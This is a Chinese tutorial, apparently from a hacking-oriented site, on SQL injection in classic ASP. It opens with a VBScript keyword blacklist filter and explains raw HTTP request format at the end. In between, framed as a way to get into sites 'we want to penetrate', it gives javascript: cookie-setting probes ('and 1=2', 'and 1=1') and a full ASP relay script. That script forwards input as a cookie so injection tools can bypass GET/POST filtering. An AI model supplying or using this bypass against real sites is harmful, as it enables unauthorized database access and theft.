POST GET与COOKIE注入原理一般的http请求不外乎get 和post两种,如果过滤掉所有post或者get请求中的参数信息中的非法字符,那么也就实现了防SQL注入。
首先定义请求中不能包含如下字符:'|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare各个字符用"|"隔开,然后再判断Request.QueryString,具体代码如下:get请求的非法字符过滤:dim sql_injdataSQL_injdata = "'|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare" SQL_inj = split(SQL_Injdata,"|")If Request.QueryString<>"" ThenFor Each SQL_Get In Request.QueryStringFor SQL_Data=0 To Ubound(SQL_inj)if instr(Request.QueryString(SQL_Get),Sql_Inj(Sql_DATA))>0 ThenResponse.Write "<Script Language='javascript'>{alert('请不要在参数中包含非法字符!');history.back(-1)}</Script>"Response.endend ifnextNextEnd Ifpost请求的非法字符过滤:If Request.Form<>"" ThenFor Each Sql_Post In Request.FormFor SQL_Data=0 To Ubound(SQL_inj)if instr(Request.Form(Sql_Post),Sql_Inj(Sql_DATA))>0 ThenResponse.Write "<Script Language='javascript'>{alert('请不要在参数中包含非法字符!');history.back(-1)}</Script>"Response.endend ifnextnextend if然后在使用的时候将这两段代码放在数据库连接的文件里一起Include进来即可。
一般情况下,当我们要渗透的网站做了防注入的话,最有效的就是进行Cookie注入,下面附手工进行Cookie注入的方法..(不要点击以下XXX。
)---------华丽的分割线---------假设网址为/xxx.asp?id=xxx,对GET以及POST提交的数据都进行了检测,也没办法饶过.首先打开上面的地址,再清空地址栏,输入javascript:alert(document.cookie="id="+escape("46 and 1=2")),再输入/xxx.asp,页面返回错误,说明有希望;提交javascript:alert(document.cookie="xx and 1=1")),最后输入/xxx.asp,这次返回完全正常,然后利用以下代码进行Cookie注入程序代码JavaScript代码<%cookname=request("jmdcw")cookname=escape(cookname)jmstr="id="&cookname '存在注入的变量jmstr=replace(jmstr,chr(32),"%20")jmstr=replace(jmstr,chr(43),"%2b")'//以下三行需要修改,Cookies值可以用Domain3.5浏览下就得到了~~jmurl="/xxx.asp" '存在注入的网址jmref="/xxx.asp" '来源地址jmcok="ASPSESSIONIDCQTAQBSQ=ALGDAPNDKCOHJNDCAMOHDHLK"jmcok=jmcok& ";"&jmstr";"response.write postdata(jmurl,jmcok,jmref)function postdata(posturl,postcok,postref)dim httpset http=server.createobject("msxml2.serverxmlhttp")with http.open "POST",posturl,false.setRequestheader "content-type","application/x-www-form-urlencoded".setrequestheader "referer",postref.setrequestheader "cookie",postcok '提交cookie值.send() '发送数据postdata=.responsebody '得到返回的二进制信息end withset http=nothingpostdata=bytes2BSTR(postdata) '转换二进制流end functionfunction bytes2BSTR(vin)dim strReturndim i,thischarcode,nextcharcodestrReturn=""for i=1 to lenB(vin)thischarcode=ascB(midB(vin,1,1))if thischarcode<&H80 thenstrReturn=strReturn&chr(thischarcode)elsenextcharcode=ascB(midB(vin,1+1,1))strReturn=strReturn&chr(clng(thischarcode) * &H100+cint(nextcharcode))i=i+1end ifnextbytes2BSTR=strReturnend function%>保存以上代码为xxx.asp,那么注入地址就是http://127.0.0.1/jmdcw.asp?jmdcw=xxx,直接用工具猜解就OK.注入工具的原理和开发“注入”这一词眼下可算得上时髦,“大街小巷”到处都能“听”到看到。
这一词曾经让无数人“闻名色变”,今天我们的话题仍是注入。
不过今天我们这里的这个注入不同于以往的,它有别于通常的SQL注入,可以说是一种新型的。
平日里,人们在提交数据的时候都是采用页面形式。
但是,今天我们这里就要打破这一传统观念。
这种方法是通过自己构造HTTP请求报文,以程序的方式代替传统的方法,实现数据的自动提交。
在文章还未进入正题的时候,我就HTTP协议这个东西给大家再罗嗦两句。
其实关于HTTP 协议这个东西我本来都不想说的。
但是,为了照顾大多数朋友。
平日里,当我们在打开一个网站的时候,比如说/,实际上IE作为一个客户端,它将向服务器发送的是如下的请求报文:GET / HTTP/1.1Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms- powerpoint, application/vnd.ms-excel, application/msword, application/x-shockwave-flash, */* Accept-Language: zh-cnAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: Connection: Keep-AliveCookie: NETEASE_SSN=hinrof; NETEASE_ADV=11&22; Province=0; City=0; NTES_UV_COOKIE=YES从以上的报文中,我们可以看到很多字段,不过其中有很多并不是必须的,如果我们自己编程,只关心必要的就行了。
在HTTP/1.1协议中规定了最小请求消息由方法字段(GET/POST/HEAD)和主机字段(HOST)构成。
如上面的GET /HTTP/1.1HOST:但在HTTP/1.0中,HOST字段并不是必须的,至于这里为什么不能省,继续往下看。
GET和POST是浏览器向服务器提交报文通常所采用的两种方法。
服务器在收到报文之后,解码分析出所需的数据并进行处理,最后返回结果。
通常我们可以看到的都是像GET /list.asp?id=*** HTTP/1.1HOST:***.***.***.***由于受URL长度1024的限制,所以GET方法通常是用在提交一些小数据的情况下。
如果数据比较大就只能采用POST方法。
在讲解POST方法的一些要点之前,大家还是先来看一段POST请求报文。
POST/huace/add.php HTTP/1.1Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms- powerpoint, application/vnd.ms-excel, application/msword, application/x-shockwave-flash, */*Referer: http://202.147.125.36/huace/add.phpAccept-Language: zh-cnContent-Type: application/x-www-form-urlencodedAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: 202.147.125.36Content-Length: 115Connection: Keep-Alivename=test&email=&comefrom=&homepage=&icq=&oicq=&image=say.gif&comment=test&password=&doadd=%B7%A2%CB%CD%C1%F4%D1 %D4与GET方法相比,在字段下面多了一段内容,这就是我们提交的数据,如果有中文须经过urlencode编码。